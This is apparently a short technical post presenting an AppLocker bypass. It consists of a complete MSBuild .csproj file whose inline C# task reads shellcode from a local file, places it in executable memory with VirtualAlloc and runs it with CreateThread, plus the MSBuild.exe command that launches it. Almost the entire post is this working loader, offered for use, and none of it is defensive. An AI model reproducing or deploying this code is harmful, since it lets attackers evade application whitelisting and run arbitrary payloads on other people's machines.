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AppLocker Bypass 1

Posted: 06-21-2025

This is useful in environments where AppLocker enforces a strict policy, blocking the execution of most binaries.

The following .csproj file allows you to execute a .bin or other executable that already exists on the computer.

Execute the .csproj with a command such as:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\USER\Desktop\test.csproj

Language: Markup

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.IO;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest : Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;

                    // Read shellcode from local file instead of downloading
                    shellcode = File.ReadAllBytes(@"C:\Windows\Tasks\dns_x64.xprocess.bin");

                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
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